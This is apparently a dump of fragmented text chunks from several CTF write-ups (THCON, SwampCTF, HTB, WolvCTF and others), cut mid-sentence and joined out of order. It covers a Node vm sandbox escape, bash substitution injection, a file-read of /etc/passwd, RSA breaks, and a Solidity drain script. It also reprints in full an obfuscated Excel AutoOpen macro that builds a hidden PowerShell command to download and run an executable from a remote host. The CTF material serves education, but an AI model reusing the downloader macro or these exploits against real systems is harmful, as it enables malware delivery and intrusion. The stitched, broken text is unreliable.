text_chunk stringlengths 2 1.55k |
|---|
3 = "Zz1U"f4 = "SEN"f5 = "PTntz"f6 = "b01V"f7 = "Q0h"f8 = "fNF90a"f9 = "DNf"f10 = "RklM"f11 = "RV9z"f12 = "aVozf"f13 = "Q=="```
- base64 encoded flag```ZmxhZz1USENPTntzb01VQ0hfNF90aDNfRklMRV9zaVozfQ==```
- base64 decoded```flag=THCON{soMUCH_4_th3_FILE_siZ3}```
### flag : THCON{soMUCH_4_th3_FILE_siZ3} |
# SpaceNotes - THCON 2024
## Challenge
## Understanding the challenge
### Looking at the webpage
```chall.ctf.thcon.party:port/?username=base64encoded-string```- We have to retrive admin user notes.- Directly accessing through admin base64 encoded string gives an error maybe there are some ch... |
h1>? Welcome admin! ?</h1> ```
- In the first code block there are some checks 1. It first removes '=' from the base64 encoded strings. 2. Then it checks if the encoded string is strictly equal to 'YWRtaW4' (admin). 3. If it is equal it changes the decoded username to blank space which will give error. 4. If it is... |
removes null byte character and the username becomes admin. 3. This satisfy the condition in 2nd code block and i got the flag.
#### Note:- The SpaceNotes and base64custom challange dont have good quality images because i was away from my laptop and i was only using my tab so most of the pro... |
"Employee Evaluation"
In this challenge, we're presented with a script prompting us for input.
/-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-\ | | | SwampCo Employee Evaluation Script™ | | | ... |
which is used for string substitution in bash):
... To start, enter the employee's name... $ /app/run: line 44: ${employee_$_score}: bad substitution
Now we have some idea of what's going on here: somewhere within the target software, there's a statement something along the... |
s_thx__=swampCTF{eva1_c4t_pr0c_3nvir0n_2942} [...]
And there's our flag!**swampCTF{eva1_c4t_pr0c_3nvir0n_2942}** |
"Reptilian Server"
For this challenge, we're presented with a target host and a `server.js` file:
const vm = require('node:vm'); const net = require('net');
// Get the port from the environment variable (default to 3000) const PORT = process.env.PORT || 3000;
//... |
>= 0 || c.length > 60) { sock.write("Intruder Alert! Removing unwelcomed spy from centeralized computing center!"); sock.end(); return; }
try { const s = new vm.Script(c); ... |
a secure vm, as stated on nodejs' official documentation.
The `vm` module simply separates the context of our new invoked code from the `server.js` application's code, and doesn't prevent child code from accessing parent constructors.
As such, we can escape the vm and run code in the `server.js` context by calling into... |
(c.indexOf(' ') >= 0 || c.length > 60) { sock.write("Intruder Alert! Removing unwelcomed spy from centeralized computing center!"); sock.end(); return;} ...
This is a problem for our exploit, since there's a space in the parent constructor's argument. However, th... |
F0r_Th3_W1n},shutdown_condition=never
Awesome! There's our flag.**swampCTF{Unic0d3_F0r_Th3_W1n}** |
In this task, we need to find `flag.txt` by uploading the zip via the website.
Since in the task, there's that flag.txt is located in the home folder, it will probably be in `home/<user>/flag.txt`
Although we don'... |
:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin... |
/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:n... |
03:systemd Resolver,,,:/run/systemd:/usr/sbin/nologinmessagebus:x:103:104::/nonexistent:/usr/sbin/nologinsystemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologinsshd:x:105:65534::/run/sshd:/usr/sbin/nologincopenhagen:x:1000:1000::/home/copenhagen:/bin/sh```
In the very last line, we see... |
wd```
And we get our dream flag:```utflag{No_Observable_Cats_Were_Harmed}``` |
> Surrounded by an untamed forest and the serene waters of the Primus river, your sole objective is surviving for 24 hours. Yet, survival is far from guaranteed as the area is full of Rattlesnakes, Spiders and Alligators and the weather fluctuates unpredictably, shifting from scorching heat to torrential downpours with... |
2329591099871367042312458818707358430309144187804225191970730541930030908729120335965126660427587835026959531590514635662783827201401207495286173883366461470726043106906312903504675534840623699031500073570495419330189193328883760755744127143975367289678166 |
58337874664379646535347e = 65537c = 151141909052535422474956966497662249436475652455757930337221733623818950815742691857938555690283049671854923507042486621152691639141750846272110797812006956593175238359012281702506328434760204883708223477150860869899067179 |
32813405479321939826364601353394090531331666739056025477042690259429336665430591623215```
The source file contains this:
```pythonimport math
from Crypto.Util.number import getPrime, bytes_to_long
from secret import FLAG
m = bytes_to_long(FLAG)
n = math.prod([getPrime(1024) for _ in range(2**0)])
e = 0x10001
c = pow(m,... |
public key `n` and `e`, and the ciphertext `c`. The security issue lies in the fact that the public key `n` is generated by multiplying one prime number (as $2^0$ = 1), which makes it very easy to factorize the public key `n` into its prime factors, and then decrypt the ciphertext `c` using the private key. Read up on ... |
9197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347
e = 65537
c = 15114190905253542 |
2474956966497662249436475652455757930337221733623818950815742691857938555690283049671854923507042486621152691639141750846272110797812006956593175238359012281702506328434760204883708223477150860869899067179328134054793219398263646013533940905313316667390560 |
25477042690259429336665430591623215
# Factor n into p and qfactors = factorint(n)
p = next(iter(factors.keys()))q = next(iter(factors.keys()))
# calculating the private exponent dphi = (p - 1) * (q - 1)d = pow(e, -1, phi)
# decrypting ciphertext c using private exponent
m = pow(c, d, n)
# decoding the flag to utf-8fla... |
```Welcome to The Fray. This is a warm-up to test if you have what it takes to tackle the challenges of the realm. Are you brave enough?```
### Setup
```soliditypragma solidity 0.8.23;
import {RussianRoulette} from "./RussianRoulette.sol";
contract Setup { RussianRoulette public immutable TARGET;
constructor() p... |
i need more bullets }
function pullTrigger() public returns (string memory) { if (uint256(blockhash(block.number - 1)) % 10 == 7) { selfdestruct(payable(msg.sender)); // ? } else { return "im SAFU ... for now"; } }}```
In the `RussianRoulette` contract, it has a `pullTrigger` fun... |
s": [], "stateMutability": "payable", "type": "constructor"}, {"inputs": [], "name": "TARGET", "outputs": [{"internalType": "contract RussianRoulette", "name": "", "type": "address"}], "stateMutability": "view", "type": "function"}, {"inputs": [], "name": "isSolved", "outputs": [{"internalType": "bool", "name": "... |
RPC_PORT = 45549 SEND_PORT = 34083 r = remote(HOST, SEND_PORT) r.recvline() r.sendline(b'1') contents = r.recvall().strip().decode() r.close() replacements = [ "2 - Restart Instance", "3 - Get flag", "action?", "Private key", "Address", "Target contract", ":", "Setup contract", ... |
3.HTTPProvider(rpc_url))
# creating the contractssetup_contract = web3.eth.contract(address=setup_contract, abi=setup_abi)russian_roulette_contract = web3.eth.contract(address=target_contract, abi=rr_abi)
# pulling trigger until the contract balance is zerowhile web3.eth.get_balance(target_contract) > 0: tx_hash = r... |
ieves the line containing the flagflag = str(r.recvline().strip().decode()).replace("action?", "").strip()
print(flag)```
And the flag is:
```textHTB{99%_0f_g4mbl3rs_quit_b4_bigwin}``` |
> Weak and starved, you struggle to plod on. Food is a commodity at this stage, but you can’t lose your alertness - to do so would spell death. You realise that to survive you will need a weapon, both to kill and to hunt, but the field is bare of stones. As you drop your body to the floor, something sharp sticks out of... |
= ''
for i in range(0, len(flag), 3):
new_flag += flag[i+1] new_flag += flag[i+2] new_flag += flag[i]
print(new_flag)```
Here's the solution script:
```pythonencoded_flag = "!?}De!e3d_5n_nipaOw_3eTR3bt4{_THB"
decoded_flag = ''length = len(encoded_flag)
for i in range(0, length, 3): decoded_flag += encoded_... |
## misc / Stop Drop and Roll
> The Fray: The Video Game is one of the greatest hits of the last... well, we don't remember quite how long. Our "computers" these days can't run much more than that, and it has a tendency to get repetitive...
```plaintext===== THE FRAY: THE VIDEO GAME =====Welcome!This video game is very ... |
to a remote container, giving us strings containing GORGE, PHREAK, and FIRE. We are supposed to send the correct translation, of which GORGE is STOP, PHREAK, is DROP, and FIRE is ROLL.
```pythonfrom pwn import *
r = remote('94.237.62.240', 45066)
r.recvuntil(b'(y/n) ')
r.sendline(b'y')
r.recvuntil(b'\n')
tries = 0
whil... |
the flag is:
```textHTB{1_wiLl_sT0p_dR0p_4nD_r0Ll_mY_w4Y_oUt!}``` |
We are given `deals.xlsm` and it has a macro in it.
```vbSub AutoOpen()Dim RetvalDim f As StringDim t53df028c67b2f07f1069866e345c8b85, qe32cd94f940ea527cf84654613d4fb5d, e5b138e644d624905ca8d47c3b8a2cf41, tfd753b886f3bd1f6da1a84488dee93f9, z92ea38976d53e8b557cd5bbc2cd3e0f8, xc6fd40b407cb3aac0d068f54af14362e As Stringxc... |
("Sheet2").Range("M62").Value = "Iuzaz/iA" Thenxc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "$jri);"End IfIf Sheets("Sheet2").Range("G80").Value = "bAcDPl8D" Thenxc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "Invok"End Ife5b138e644d624905ca8d47c3b8a2cf41 = " = '"If S... |
d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "http"End IfIf Sheets("Sheet2").Range("B50").Value = "4L3bnaGQ" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "://f"End IfIf Sheets("Sheet2").Range("B32").Value = "QyycTMPU" Thenxc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f5... |
Ovsu" Thenxc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "m $jri"End IfIf Sheets("Sheet2").Range("B45").Value = "/hRdSmbG" Thenxc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + ";brea"End IfIf Sheets("Sheet2").Range("D27").Value = "y9hFUyA8" Thene5b138e644d624905ca8d47c3b8... |
If Sheets("Sheet2").Range("A91").Value = "De5234dF" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + ".ret3"End IfIf Sheets("Sheet2").Range("I35").Value = "DP7jRT2v" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + ".gan"End IfIf Sheets("Sheet2").Range("W48").Value ... |
0d068f54af14362e + "k;} c"End IfIf Sheets("Sheet2").Range("R18").Value = "FOtBe4id" Thenxc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "atch "End IfIf Sheets("Sheet2").Range("W6").Value = "9Vo7IQ+/" Thenxc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "{}"""End IfIf Sheet... |
138e644d624905ca8d47c3b8a2cf41 + "g/ma"End IfIf Sheets("Sheet2").Range("C96").Value = "1eDPj4Rc" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "lwar"End IfIf Sheets("Sheet2").Range("B93").Value = "A72nfg/f" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + ".rds8"... |
e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "e';$"End Iftfd753b886f3bd1f6da1a84488dee93f9 = "akrz"If Sheets("Sheet2").Range("G39").Value = "MZZ/er++" Thentfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "f3zsd"End IfIf Sheets("Sheet2").Range("B93").Value = "ZX42cd+3" Thentfd... |
3bd1f6da1a84488dee93f9 + "2832"End IfIf Sheets("Sheet2").Range("I15").Value = "e9x9ME+E" Thentfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "0918"End IfIf Sheets("Sheet2").Range("T46").Value = "7b69F2SI" Thentfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "2afd"End IfIf ... |
8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "CNTA"End IfIf Sheets("Sheet2").Range("N26").Value = "C1hrOgDr" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + " = '"End IfIf Sheets("Sheet2").Range("C58").Value = "PoX7qGEp" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47... |
2d/f" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "Fl0dd"End IfIf Sheets("Sheet2").Range("Q2").Value = "VKVTo5f+" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "NA-H"End Ift53df028c67b2f07f1069866e345c8b85 = "p"If Sheets("Sheet2").Range("L84").Value = "GSPMn... |
45c8b85 = t53df028c67b2f07f1069866e345c8b85 + "oWe"End IfIf Sheets("Sheet2").Range("H35").Value = "aCxE//3x" Thent53df028c67b2f07f1069866e345c8b85 = t53df028c67b2f07f1069866e345c8b85 + "ACew"End IfIf Sheets("Sheet2").Range("R95").Value = "uIDW54Re" Thent53df028c67b2f07f1069866e345c8b85 = t53df028c67b2f07f1069866e345c8b... |
PKRtszin" Thent53df028c67b2f07f1069866e345c8b85 = t53df028c67b2f07f1069866e345c8b85 + "HELL"End IfIf Sheets("Sheet2").Range("G33").Value = "ccEsz3te" Thent53df028c67b2f07f1069866e345c8b85 = t53df028c67b2f07f1069866e345c8b85 + "L3c33"End IfIf Sheets("Sheet2").Range("P31").Value = "aI3bH4Rd" Thent53df028c67b2f07f1069866e... |
66e345c8b85 + " -c"End If
If Sheets("Sheet2").Range("Z49").Value = "oKnlcgpo" Thentfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "4';$"End IfIf Sheets("Sheet2").Range("F57").Value = "JoTVytPM" Thentfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "jri="End IfIf Sheets("She... |
53b886f3bd1f6da1a84488dee93f9 + "$env:"End IfIf Sheets("Sheet2").Range("E20").Value = "ap0EvV5r" Thentfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "publ"End Ifz92ea38976d53e8b557cd5bbc2cd3e0f8 = "\'+$"If Sheets("Sheet2").Range("D11").Value = "Q/GXajeM" Thenz92ea38976d53e8b557cd5bbc2cd3e0f8 = z... |
B45").Value = "/hRdSmbG" Thenz92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "+'.ex"End IfIf Sheets("Sheet2").Range("D85").Value = "y4/6D38p" Thenz92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "e';tr"End IfIf Sheets("Sheet2").Range("P2").Value = "E45tTsBe" Thenz92ea38976... |
8 + "4d2dx"End IfIf Sheets("Sheet2").Range("O72").Value = "lD3Ob4eQ" Thentfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "ic+'"End Ifqe32cd94f940ea527cf84654613d4fb5d = "omm"If Sheets("Sheet2").Range("P24").Value = "d/v8oiH9" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4f... |
4f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + " """End IfIf Sheets("Sheet2").Range("G1").Value = "zJ1AdN0x" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "$oa"End IfIf Sheets("Sheet2").Range("Y93").Value = "E/5234dF" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea... |
"X42fc3/=" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "av3ei"End IfIf Sheets("Sheet2").Range("F57").Value = "JoTVytPM" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "K ="End IfIf Sheets("Sheet2").Range("L99").Value = "t8PygQka" Thenqe32cd94f940ea527cf846546... |
Sheet2").Range("X31").Value = "gGJBD5tp" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "w-o"End IfIf Sheets("Sheet2").Range("C42").Value = "Dq7Pu9Tm" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "bjec"End IfIf Sheets("Sheet2").Range("D22").Value = "X42/=rrE" ... |
613d4fb5d + "aoX3&i"End IfIf Sheets("Sheet2").Range("T34").Value = "9u2uF9nM" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "t Ne"End IfIf Sheets("Sheet2").Range("G5").Value = "cp+qRR+N" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "t.We"End IfIf Sheets("Shee... |
= qe32cd94f940ea527cf84654613d4fb5d + "bCli"End IfIf Sheets("Sheet2").Range("Y50").Value = "OML7UOYq" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "ent;"End IfIf Sheets("Sheet2").Range("P41").Value = "bG9LxJvN" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "$... |
53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "y{$oa"End IfIf Sheets("Sheet2").Range("P47").Value = "hXelsG2H" Thenz92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "K.Dow"End IfIf Sheets("Sheet2").Range("A2").Value = "RcPl3722" Thenz92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e... |
"Kvap5Ma0" Thenz92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "nload"End IfIf Sheets("Sheet2").Range("H76").Value = "OjgR3YGk" Thenz92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "File("End Iff = t53df028c67b2f07f1069866e345c8b85 + qe32cd94f940ea527cf84654613d4fb5d + e5b... |
8a2cf41 + tfd753b886f3bd1f6da1a84488dee93f9 + z92ea38976d53e8b557cd5bbc2cd3e0f8 + xc6fd40b407cb3aac0d068f54af14362eRetval = Shell(f, 0)Dim URL As StringURL = "https://www.youtube.com/watch?v=mYiBdMnIT88"ActiveWorkbook.FollowHyperlink URLEnd Sub```
There are some hidden sheets with a lot of random data in the cells. The... |
df028c67b2f07f1069866e345c8b85 + qe32cd94f940ea527cf84654613d4fb5d + e5b138e644d624905ca8d47c3b8a2cf41 + tfd753b886f3bd1f6da1a84488dee93f9 + z92ea38976d53e8b557cd5bbc2cd3e0f8 + xc6fd40b407cb3aac0d068f54af14362e
'Retval = Shell(f, 0)'Dim URL As String'URL = "https://www.youtube.com/watch?v=mYiBdMnIT88"'ActiveWorkbook.Fo... |
macro we see Get the powershell script (formatting for easier reading)
```powershellpoWeRsHELL -command "$oaK = new-object Net.WebClient;$OrA = 'http://fruit.gang/malware';$CNTA = 'banANA-Hakrz09182afd4';$jri=$env:public+'\'+$CNTA+'.exe';try{$oaK.DownloadFile($OrA, $jri);Invoke-Item $jri;break;} catch {}"```
`banANA-Ha... |
# UnholyEXE
Remember, Terry zealously blessed the PCNet driver.
### Resources Used
[ZealOS-wiki](https://zeal-operating-system.github.io/ZealOS-wiki/)
[ZealOS Discord](https://discord.gg/rK6U3xdr7D)
[Running the ZealOS Gopher Browser (Virtual Box only) - YouTube](https://www.youtube.com/watch?v=eFaMYuggM80)
[ZealOS Doc... |
as `Trying to accept a connection`. In addition, there were some strings that seemed to be type or function names, like `DCDel` and `_CLAMP_I64`. Using Github search for these strings, many of the results were related to TempleOS, such as Shrine or TinkerOS. After viewing some of these projects, based on the hint text,... |
more information about how networking is performed.
As a fun note, I found the challenge creator's [blog post](https://retu2libc.github.io/posts/aot-compiling-zealc.html) discussing some of the steps they took to create the challenge. Based on this information, the binary file was a `.ZXE` file, which is the pre-compil... |
, I learned how to access the ZealOS filesystem from within my host OS. To open the ZealOS filesystem, I used the Mount Image application from ImDisk. Once mounted, I renamed `chal.bin` as `Chal.ZXE`, moved it into the filesystem, and unmounted the filesystem.
However, I could "inject" my own versions of the TCPSocketReceive to "receive" whatever network data I wanted. I wrote `Inject.ZC` to replace the networking functions with my o... |
which outputs information about `.ZXE` binaries:
I chose to look at `ZXERep` to learn about the file format for `ZXE` executables. Essentially, the executable begins with some header information, which includes pointers to... |
f-writeups/main/wolvctf2024/UnholyEXE/Image10.png)
Then, I manually patched all the branch instructions to the correct function, as specified by the `ZXE` format.
Finally, I modified the calling convention for multiple fu... |
into the network input (beginning the input with `w`, `c`, `t`, `f`, `{`, ...), but that was still giving messy output. I also injected a random function that would always return 0 to see if that would give readable results. I ended up trying to input the numbers that were XORed within the decompilation, and that resul... |
}` |
## ROSSAU- Tags: crypto- Author: BrokenAppendix- Description: My friend really likes sending me hidden messages, something about a public key with n = 5912718291679762008847883587848216166109 and e = 876603837240112836821145245971528442417. What is the name of player with the user ID of the private key exponent? (Wrap ... |
Crypto.PublicKey import RSAfrom Crypto.Util.number import inverse
n = 5912718291679762008847883587848216166109e = 876603837240112836821145245971528442417
p = 123456789q = 478945321
phi_n = (p - 1) * (q - 1)
d = inverse(e, phi_n)
private_key = RSA.construct((n, e, d, p, q))
print(private_key.export_key())```
- There we ... |
users/private-key-exponent-value```
- There you will user's name and you can enter it in a flag.
```osu{user_name}``` |
## babypwn- Tags: pwn- Description: Just a little baby pwn. nc babypwn.wolvctf.io 1337
## Solution- To solve this question you need to download the following files and open the source code. You will see the following:
```#include <stdio.h>#include <string.h>#include <unistd.h>
struct __attribute__((__packed__)) data { ... |
4, stdin); sleep(2); printf("%s nice to meet you!\n", name.buff); sleep(2); printf("Binary exploitation is the best!\n"); sleep(2); printf("Memory unsafe languages rely on coders to not make mistakes.\n"); sleep(2); printf("But I don't worry, I write perfect code :)\n"); sleep(2);
if (name.check == 0x4141414... |
best_Categ0ry!}``` |
## WOLPHV I: Reconnaissance- Tags: OSINT- Description: A new ransomware group you may have heard about has emerged: WOLPHV. There's already been reports of their presence in articles and posts. NOTE: Wolphv's twitter/X account and https://wolphv.chal.wolvsec.org/ are out of scope for all these challenges. Any flags fou... |
F9yM1BsNGMzX1VzX2YwUl80X2wwbmdfdDFtZX0=```
- This is a Base64 string, after decoding it, we get:
```wctf{0k_1_d0nT_th1Nk_A1_w1ll_r3Pl4c3_Us_f0R_4_l0ng_t1me}``` |
## Made Sense- Tags: Misc, Makekjail, Jail- Description: i couldn't log in to my server so my friend kindly spun up a server to let me test makefiles. at least, they thought i couldn't log in :P
## Solution- When we visit that website, we can see there a link to source code of it.
```import osfrom pathlib import Pathim... |
src/', methods=['GET'])def src(): return send_file(__file__)
# made sense@app.route('/make', methods=['POST'])def make(): target_name = request.form.get('name') code = request.form.get('code')
print(code) if not re.fullmatch(r'[A-Za-z0-9]+', target_name): return 'no' if '\n' in code: re... |
below is used to check what we are entering to create a Makefile.
```if not re.fullmatch(r'[A-Za-z0-9]+', target_name): return 'no'if '\n' in code: return 'no'if re.search(r'flag', code): return 'no'```
- We can't enter "flag" and we have to bypass this system to get the flag. First, what's comes to mind: ente... |
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